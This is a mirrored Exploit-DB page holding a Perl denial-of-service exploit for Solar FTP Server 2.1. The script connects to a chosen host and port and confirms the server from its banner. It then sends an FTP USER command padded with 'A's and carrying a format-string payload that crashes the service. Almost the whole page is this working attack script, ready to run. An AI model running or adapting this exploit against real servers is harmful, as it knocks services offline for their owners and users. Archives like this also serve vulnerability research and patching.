Solar FTP Server 2.1 – Denial of Service - 体验盒子

作者： x000

日期： 2011-02-22

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/16204/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

#!/usr/bin/perl

#

#[+]Exploit Titulo: Exploit Denial of Service Solar FTP 2.1

#[+]Data: 21/10/2011

#[+]Autor: x000

#[+]Versão: 2.1

#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN

#[+]CVE: N/A

#

# xxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#xxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# xxx xxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#xxxxxxxx xxxxxx xxxxxx xxx xxxxxx

# xxx xxx xxxxxx xxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxx

# xxxxxxxxx xxxxxx xxxxxx xxxxxxxxxxxxx

#xxxxxx xxx xxxxxx xxxxxx xxxxxxxxx xxxx xxxxxxx

#xxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxx xx xx xx

# xxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxx xxxxxxxxxxxxx

#

# Link de Download: http://solarftp.com/files/solarftps-setup.exe

#

# .: Criadorby: x000 :.

#3d3n@hotmail.com.br

# www.x000.org

# Obrigado C4SS!0 G0M3S Friends Forever

#

use Socket;

use IO::Socket;

use strict;

use warnings;

my $sys = <code>ver</code>;

if($sys=~/Windows/){

system("cls");

system("color 4f");

}

else{

system("clear");

}

sub usage{

print q

{

0000000000000000000000

0000000000000000000000000000

0000 000000

0000000000

0000 000000000000000000000000

0000 000000000000000000

| Criador x000 |

| Contato: 3d3n@hotmail.com.br |

|From Brazil |

| Site www.x000.org |

};

}

if($#ARGV!=1){

usage;

print "\t\t[-]Modo de Uso: perl $0 <Host> <Porta>\n";

print "\t\t[-]Exemplo:perl $0 192.168.1.12 21\n";

exit;

}

usage;

print "\t\t[+]Conectando ao Servidor $ARGV[0]...\n\n";

sleep(1);

my $exploit = "A" x 50;

$exploit = $exploit."%x%lf%f%d%c%s%c%u%n%s%c%lf%tt%d%c";

my $sock = IO::Socket::INET->new(

PeerAddr=>$ARGV[0],

PeerPort=>int($ARGV[1]),

Timeout=>1,

Proto=>"tcp",

)or die("ERRO:\n$!\n");

print "\t\t[+]Checando se o Servidor e Vulneravel\n\n";

sleep(1);

$sock->recv(my $data,2000);

unless($data=~/Solar FTP Server/){

print "\t\t[+]Servidor Nao e Vulneravel:(\n\n";

sleep(1);

exit;

}

print "\t\t[+]Servidor Vulneravel:)\n\n";

sleep(1);

print "\t\t[+]Enviando Exploit Denial of Service\n\n";

sleep(1);

$sock->send("USER $exploit\r\n");

close($sock);

print "\t\t[+]Exploit Denial Of Service Enviado:)\n";

# x000.org